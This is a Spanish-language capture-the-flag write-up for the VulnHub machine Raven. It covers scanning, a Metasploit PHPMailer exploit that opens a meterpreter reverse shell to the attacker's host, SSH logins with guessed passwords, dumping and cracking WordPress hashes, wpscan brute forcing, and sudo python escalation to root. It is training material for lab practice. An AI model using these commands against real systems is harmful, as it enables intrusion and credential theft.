


Writeup - Raven



Vamos a trabajar con la máquina Raven de Vulnhub <https://www.vulnhub.com/entry/raven-1,256/>

Descripción: Debemos acceder como *root* y encontrar 4 banderas

Búsqueda de objetivo

Una vez descargada la máquina virtual e iniciada, lo primero que debemos averiguar es la IP; para ello ejecutamos *netdiscover* o *nmap*.

```
Currently scanning: 192.168.135.0/16 | Screen View: Unique Hosts
41 Captured ARP Req/Rep packets, from 1 hosts. Total size: 2460
+-----+-----+-----+-----+-----+-----+
| IP           | At MAC Address | Count | Len | MAC Vendor / Hostname |
+-----+-----+-----+-----+-----+-----+
| 192.168.135.133 | 00:0c:29:b6:4c:a8 | 41    | 2460 | VMware, Inc.          |
+-----+-----+-----+-----+-----+-----+
root@kali:/home/kali#
```

```
root@kali:/home/kali# nmap -Pn 192.168.135.0/24
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-25 17:50 CET
Nmap scan report for 192.168.135.133
Host is up (0.00031s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
MAC Address: 00:0C:29:B6:4C:A8 (VMware)
```

Vemos que tiene habilitados 3 puertos.

Recopilación de información

Para esta fase vamos a ejecutar todas las herramientas que conozcamos:

- nmap
- nikto
- ...

Recordad siempre guardar los resultados en un fichero para no tener que volver a ejecutar los escaners y perder tiempo.

Nmap

Como resultado obtenemos:

```
root@kali:/home/kali# nmap -sS -sV --script vuln,auth,default 192.168.135.133 -v -oA raven
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-25 17:54 CET
NSE: Loaded 279 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:54
Completed NSE at 17:54, 0.00s elapsed
Initiating NSE at 17:54
Completed NSE at 17:54, 0.00s elapsed
Initiating NSE at 17:54
Completed NSE at 17:54, 0.00s elapsed
Initiating ARP Ping Scan at 17:54
Scanning 192.168.135.133 [1 port]
Completed ARP Ping Scan at 17:54, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:54
Completed Parallel DNS resolution of 1 host. at 17:54, 13.00s elapsed
Initiating SYN Stealth Scan at 17:54
Scanning 192.168.135.133 [1000 ports]
Discovered open port 80/tcp on 192.168.135.133
Discovered open port 111/tcp on 192.168.135.133
Discovered open port 22/tcp on 192.168.135.133
Completed SYN Stealth Scan at 17:54, 0.06s elapsed (1000 total ports)
Initiating Service scan at 17:54
Scanning 3 services on 192.168.135.133
Completed Service scan at 17:54, 6.05s elapsed (3 services on 1 host)
NSE: Script scanning 192.168.135.133.
```

Sobre el puerto 22 obtenemos la siguiente información:

```
22/tcp open  ssh      OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
|_ ssh-auth-methods:
|_   Supported authentication methods: false
|_ ssh-hostkey:
|_   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|_   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|_   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_   256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
|_ ssh-publickey-acceptance:
|_   Accepted Public Keys: No public keys accepted
```

Sobre el puerto 80 la siguiente información:

```
80/tcp open  http      Apache httpd 2.4.10 ((Debian))
http-csrf:
Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.135.133
Found the following possible CSRF vulnerabilities:

Path: http://192.168.135.133:80/
Form id:
Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423
d01
Path: http://192.168.135.133:80/about.html
Form id:
Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423
d01
Path: http://192.168.135.133:80/index.html
Form id:
Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423
d01
Path: http://192.168.135.133:80/service.html
Form id:
Form action: https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423
d01
_http-dombased-xss: Couldn't find any DOM based XSS.
http-enum:
/wordpress/: Blog
/wordpress/wp-login.php: Wordpress login page.
/css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
/img/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
/js/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
/manual/: Potentially interesting folder
/vendor/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
http-methods:
Supported Methods: GET HEAD POST OPTIONS
_http-server-header: Apache/2.4.10 (Debian)
_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
http-title: Raven Security
```

Y sobre el puerto 111:

```
111/tcp open  rpcbind 2-4 (RPC #100000)
rpcinfo:
  program version    port/proto  service
  100000   2,3,4        111/tcp     rpcbind
  100000   2,3,4        111/udp     rpcbind
  100000   3,4          111/tcp6    rpcbind
  100000   3,4          111/udp6    rpcbind
  100024   1            42378/udp6   status
  100024   1            48174/tcp    status
  100024   1            59238/tcp6   status
  100024   1            59511/udp    status
MAC Address: 00:0C:29:B6:4C:A8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

De esta información obtenemos varias *vulnerabilidades*, *directorios expuestos* y *la instalación de un wordpress*.

Nikto

```
root@kali:/home/kali# nikto -h 192.168.135.133 -o nikto_raven.txt
- Nikto v2.1.6

+ Target IP: 192.168.135.133
+ Target Hostname: 192.168.135.133
+ Target Port: 80
+ Start Time: 2021-03-25 18:00:51 (GMT1)

+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: 41b3, size: 5734482bdc00, mtime: gzip
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7916 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2021-03-25 18:01:49 (GMT1) (58 seconds)

+ 1 host(s) tested
root@kali:/home/kali#
```

Como vemos *nikto* nos arroja bastante información y algunas vulnerabilidades, clickjacking, XSS, ... y observamos que tiene algunos directorios expuestos y que hay instalado un *wordpress*.

Wordpres Scan

De este escaneo obtenemos

```
root@kali:/home/kali# wpscan --url http://192.168.135.133/wordpress/ --enumerate vp,vt,u

WordPress Security Scanner by the WPScan Team
Version 3.8.15
Sponsored by Automattic - https://automattic.com/
@WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: http://192.168.135.133/wordpress/ [192.168.135.133]
[+] Started: Thu Mar 25 18:06:49 2021

Interesting Finding(s):
```


La versión de wordpress:

```
[+] WordPress version 4.8.7 identified (Insecure, released on 2018-07-05).
Found By: Emoji Settings (Passive Detection)
- http://192.168.135.133/wordpress/, Match: 'wp-includes\js\wp-emoji-release.min.js?ver=4.8.7'
Confirmed By: Meta Generator (Passive Detection)
- http://192.168.135.133/wordpress/, Match: 'WordPress 4.8.7'
```


Un par de usuarios de wordpress:


```
[i] User(s) Identified:  
  
[+] michael  
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)  
| Confirmed By: Login Error Messages (Aggressive Detection)  
  
[+] steven  
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)  
| Confirmed By: Login Error Messages (Aggressive Detection)
```

Web



Una vez terminados los escaneos, vemos qué hay iniciado en el puerto 80 a través de nuestro navegador.

Intentado hacer login, vemos que la web nos redirige a *raven.local*.





así que modificamos nuestro fichero hosts para incluirlo:

Archivo Acciones Editar Vista Ayuda


```
GNU nano 5.4 /etc/hosts *
127.0.0.1 localhost
127.0.1.1 kali
192.168.135.133 raven.local

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```






Como vemos el usuario *michael* existe, pero la contraseña que he introducido no es la correcta:



Seguimos navegando e investigando todo lo que encontremos.

Captura de la Flag 1

La primera bandera la obtenemos dentro del propio código HTML, siempre hay que investigar el código fuente, más aún en estos retos.



Our Offered Services

Niche, Discreet, Professional

```

Security x http://raven.local/service.html x +
view-source:http://raven.local/service.html 120%
Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter Offensive Security Exploit-DB GHDB MSFU
251 <a href="#"><i class="fa fa-facebook"></i></a>
252 <a href="#"><i class="fa fa-twitter"></i></a>
253 <a href="#"><i class="fa fa-dribbble"></i></a>
254 <a href="#"><i class="fa fa-behance"></i></a>
255 </div>
256 </div>
257 </div>
258 </div>
259 </div>
260 </div>
261 <!-- End footer Area -->
262 <!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->
263 <script src="js/vendor/jquery-2.2.4.min.js"></script>
264 <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W
265 <script src="js/vendor/bootstrap.min.js"></script>
266 <script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBh0dIF3Y9382fqJYt5I_sswSrEw5eihAA"></scr
267 <script src="js/easing.min.js"></script>
268

```

Directorios expuestos

Una parte importante es buscar información entre los directorios expuestos por la web, de las herramientas de escaneo hemos obtenido:

```

+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information
. Configure Apache to ignore this file or upgrade to a newer version.
+ OSVDB-3233: /icons/README: Apache default file found.

```

Seguimos navegando y encontramos interesante la instalación del PHPmailer:

Index of /vendor		http://raven.local/service.html	
		raven.local/vendor/	
Name	Last modified	Size	Description
Parent Directory		-	
LICENSE	2018-08-13 07:56	26K	
PATH	2018-08-13 17:29	22	
PHPMailerAutoload.php	2018-08-13 07:56	1.6K	
README.md	2018-08-13 07:56	13K	
SECURITY.md	2018-08-13 07:56	2.3K	
VERSION	2018-08-13 07:56	6	
changelog.md	2018-08-13 07:56	28K	
class.phpmailer.php	2018-08-13 07:56	141K	

Es interesante porque existe un módulo de Metasploit para explotar esta vulnerabilidad:


```
msf6 exploit(multi/http/phpmailer_arg_injection) > show options

Module options (exploit/multi/http/phpmailer_arg_injection):
```

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.135.133	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/contact.php	yes	Path to the application root
TRIGGERURI	/	no	Path to the uploaded payload
VHOST		no	HTTP server virtual host
WEB_ROOT	/var/www/html	yes	Path to the web root

```

Payload options (php/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.135.128  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    PHPMailer <5.2.18

```

```
msf6 exploit(multi/http/phpmailer_arg_injection) > exploit

[*] Started reverse TCP handler on 192.168.135.128:4444
[*] Writing the backdoor to /var/www/html/QDaiJQh5.php
[*] Sleeping before requesting the payload from: /QDaiJQh5.php
[*] Waiting for up to 300 seconds to trigger the payload
[*] Sending stage (39282 bytes) to 192.168.135.133
[*] Meterpreter session 2 opened (192.168.135.128:4444 → 192.168.135.133:60389) at 2021-03-25 19:12:41 +0100
[+] Deleted /var/www/html/QDaiJQh5.php
[+] Successfully triggered the payload

meterpreter > sysinfo
Computer      : Raven
OS            : Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64
Meterpreter   : php/linux
meterpreter > shell
Process 1557 created.
Channel 0 created.
whoami
www-data
```

Ataques manuales

SSH

Aunque tenemos herramientas para automatizar ataques, no está demás probar usuarios y contraseñas por defecto; de *wpscan* hemos obtenido dos usuarios (*steven* y *michael*); los probamos contra el servicio SSH

usuario/contraseña → *michael/michael*

```
root@kali:/home/kali# ssh michael@192.168.135.133
The authenticity of host '192.168.135.133 (192.168.135.133)' can't be established.
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T630xqkEIR39pi835oSDo8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.135.133' (ECDSA) to the list of known hosts.
michael@192.168.135.133's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Fri Mar 26 04:24:58 2021
michael@Raven:~$
```

Ya tenemos acceso al servidor.

Podéis probar con *steven/steven*, pero va a ser que no hay tanta suerte

```
root@kali:/home/kali# ssh steven@192.168.135.133
steven@192.168.135.133's password:
Permission denied, please try again.
steven@192.168.135.133's password:
Permission denied, please try again.
steven@192.168.135.133's password:
steven@192.168.135.133: Permission denied (publickey,password).
root@kali:/home/kali#
```

Miramos si el usuario michael está en el fichero *sudoers*, pero no.

```
michael@Raven:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for michael:
Sorry, user michael may not run sudo on raven.
michael@Raven:~$
```

Una vez dentro accedemos al fichero */etc/passwd* para ver el resto de usuarios del sistema

```
michael@Raven:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
michael:x:1000:1000:michael,,,:/home/michael:/bin/bash
smmta:x:108:114:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:109:115:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
mysql:x:110:116:MySQL Server,,,:/nonexistent:/bin/false
steven:x:1001:1001::/home/steven:/bin/sh
michael@Raven:~$
```

Dado que estamos en un CTF y normalmente las banderas a encontrar se encuentran en ficheros que se llaman *flag*, los buscamos:

```
michael@Raven:~$ find / -name flag* 2>/dev/null
/var/www/flag2.txt
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
michael@Raven:~$
```

Y encontramos la segunda bandera:

Captura de la Flag 2

```
michael@Raven:~$ cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@Raven:~$
```


Como hemos visto que hay un wordpress montado sobre un MYSQL. Buscamos el fichero de configuración de wordpress *wp-config.php*

```
michael@Raven:~$ find / -name wp-config.php 2>/dev/null  
/var/www/html/wordpress/wp-config.php  
michael@Raven:~$
```

Lo visualizamos y obtenemos las credenciales de la base de datos:

```
michael@Raven:~$ cat /var/www/html/wordpress/wp-config.php  
<?php  
/**  
 * The base configuration for WordPress  
 *  
 * The wp-config.php creation script uses this file during the  
 * installation. You don't have to use the web site, you can  
 * copy this file to "wp-config.php" and fill in the values.  
 *  
 * This file contains the following configurations:  
 *  
 * * MySQL settings  
 * * Secret keys  
 * * Database table prefix  
 * * ABSPATH  
 *  
 * @link https://codex.wordpress.org/Editing_wp-config.php  
 *  
 * @package WordPress  
 */  
  
// ** MySQL settings - You can get this info from your web host ** //  
/** The name of the database for WordPress */  
define('DB_NAME', 'wordpress');  
  
/** MySQL database username */  
define('DB_USER', 'root');  
  
/** MySQL database password */  
define('DB_PASSWORD', 'R@v3nSecurity');
```

Con esto ya tendríamos acceso.

```
michael@Raven:~$ mysql -u root -p  
Enter password:  
Welcome to the MySQL monitor. Commands end with ; or \g.  
Your MySQL connection id is 73  
Server version: 5.5.60-0+deb8u1 (Debian)  
  
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.  
  
Oracle is a registered trademark of Oracle Corporation and/or its  
affiliates. Other names may be trademarks of their respective  
owners.  
  
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.  
mysql>
```


Seguimos investigando las bases de datos:

```
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+-----+
4 rows in set (0.00 sec)

mysql>
```

```
mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----+
12 rows in set (0.00 sec)
```

Y obtenemos los hashes que hay en la tabla wp_users

```
mysql> select * from wp_users;
+-----+-----+-----+-----+-----+-----+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registe |
| user_status | display_name |
+-----+-----+-----+-----+-----+-----+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 2 |
| 0 | michael |
| 2 | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven | steven@raven.org | | 2018-08-12 2 |
| 0 | Steven Seagull |
+-----+-----+-----+-----+-----+-----+
2 rows in set (0.00 sec)

mysql>
```

\$P\$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 michael

\$P\$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ Steven

Con los hashes nos creamos un fichero llamado *wp_hashes.txt* e intentamos crackearlo con *JohnTheRipper*

```
kali@kali:~$ john wp_hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
0g 0:00:00:15 26,75% 2/3 (ETA: 19:35:01) 0g/s 2912p/s 5824c/s 5824C/s apache5..carebear5
Proceeding with incremental:ASCII
0g 0:00:07:40 3/3 0g/s 2777p/s 5554c/s 5554C/s cly1115..cly1326
0g 0:00:11:35 3/3 0g/s 3013p/s 6026c/s 6026C/s bim120..bim137
0g 0:00:13:18 3/3 0g/s 3178p/s 6356c/s 6356C/s 080mpe..081beh
pink84 (?)
1g 0:00:18:50 3/3 0.000884g/s 3953p/s 7226c/s 7226C/s blyz81..bl0996
1g 0:09:56:07 3/3 0.000027g/s 11966p/s 12069c/s 12069C/s h1eic2..h1eib3
1g 0:09:56:18 3/3 0.000027g/s 11964p/s 12068c/s 12068C/s nw03t1..nw03p4
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session aborted
kali@kali:~$ john --show wp_hashes.txt
?:pink84

1 password hash cracked, 1 left
kali@kali:~$
```

Obtenemos una clave para el usuario *steven*, que es el que nos faltaba (*pink84*)

```
root@kali:/home/kali# ssh steven@192.168.135.133
steven@192.168.135.133's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 26 18:01:03 2021 from 192.168.135.128
$
```

Probamos y correctamente accedemos. Navegando observamos que podemos obtener una Shell de root con */bin/python*


```
$ ls /usr/bin/python
/usr/bin/python
$ sudo /usr/bin/python
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system('/bin/bash')
root@Raven:/home/steven# whoami
root
root@Raven:/home/steven# id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/home/steven#
```

Ataques de fuerza bruta

Mediante wpscan

Wpscan nos permite realizar ataques de fuerza bruta, así que adelante, ejecutamos los dos ataques en paralelo:

```
root@kali:/home/kali# wpscan --url http://192.168.135.133/wordpress/ --usernames steven --passwords /tmp/rockyou.txt --max-threads 50
```




```
WordPress Security Scanner by the WPScan Team
Version 3.8.15
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

```
[+] URL: http://192.168.135.133/wordpress/ [192.168.135.133]
[+] Started: Thu Mar 25 22:16:56 2021
```

```
Trying steven / raiders1 Time: 00:03:24 < > (1897 / 14344392) 0.01% ETA: ??:??:??
Trying steven / mollydog Time: 00:07:57 < > (5748 / 14344392) 0.04% ETA: ??:??:??
Trying steven / claudine Time: 00:08:01 < > (5796 / 14344392) 0.04% ETA: ??:??:??
Trying steven / charms Time: 00:08:07 < > (5897 / 14344392) 0.04% ETA: ??:??:??
[SUCCESS] - steven / pink84
Trying steven / oscar5 Time: 00:47:57 < > (45850 / 14390242) 0.31% ETA: ??:??:??

[!] Valid Combinations Found:
| Username: steven, Password: pink84
```


```
root@kali:/home/kali# wpscan --url http://192.168.135.133/wordpress/ --usernames michael --passwords /tmp/rockyou.txt --max-threads 50
```



```
WordPress Security Scanner by the WPScan Team
Version 3.8.15
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

```
[+] URL: http://192.168.135.133/wordpress/ [192.168.135.133]
[+] Started: Fri Mar 26 07:56:40 2021
```

Una vez conseguida la contraseñas, podemos accedemos al escritorio de wordpress para ver si realmente funciona.




Username or Email Address

Password

☐ Remember Me


[Lost your password?](#)
[← Back to Raven Security](#)



Intentamos modificar algún archivo con php para poder crear alguna webshell pero nos es imposible al no tener instalados plugins y no ser administrador del sitio.

Captura de la Flag 3

Navegando por la información de wordpress, sobre todo dentro de los post, vemos que existe uno que se llama flag3, así que lo abrimos y obtenemos la 3ª flag.





Ataques manuales II

SSH

Seguimos con el ssh y probamos con la misma contraseña que para wordpress.

```
root@kali:/home/kali# ssh steven@192.168.135.133
steven@192.168.135.133's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 26 18:01:58 2021 from 192.168.135.128
$
```

Miramos si el usuario *steven* está en el fichero *sudoers*, y esta vez sí hay suerte:

```
$ sudo -l
Matching Defaults entries for steven on raven:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
  (ALL) NOPASSWD: /usr/bin/python
$
```

El usuario *steven* puede ejecutar python, así que creamos una bash con python elevando privilegios:

```
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@Raven:/home/steven# whoami
root
root@Raven:/home/steven# id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/home/steven#
```

Captura de la Flag 4

Ya somos usuario *root*, por lo que podemos volver a buscar banderas:

```
root@Raven:/home/steven# find / -name flag*
/var/www/flag2.txt
/root/flag4.txt
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
root@Raven:/home/steven#
```

```
root@Raven:/home/steven# cat /root/flag4.txt  
-----  
CURiosity.md  
VERSION  
changelog.md  
// _ _ _ _ _  
class.phpmailer.php  
class.phpmaileroauthn.php  
class.phpmailer_oauth_naggle.php  
\ \ \ C | \ v / - / | | |  
\\ \\ \_,_| \|/\_\_|_| |_|  
class.smtp.php  
flag4{715dea6c055bb9fe3337544932f2941ce}  
CONGRATULATIONS on successfully rooting Raven!  
This is my first Boot2Root VM - I hope you enjoyed it.  
Hit me up on Twitter and let me know what you thought:  
@mccannwj / wjmccann.github.io  
root@Raven:/home/steven#
```

Y esto es todo, una máquina con un poco de todo, contraseñas por defecto, ataque por fuerza bruta y elevación de privilegios a través de python. Seguro que hay más formas. Hemos conseguido acceso desde metasploit con usuario *www-data*, podríamos intentar una elevación de privilegios ¡podríamos sacar más información de la base de datos, ... sólo toca practicar, practicar y practicar!

Fuente: <https://www.hackbysecurity.com/blog/raven-writeup>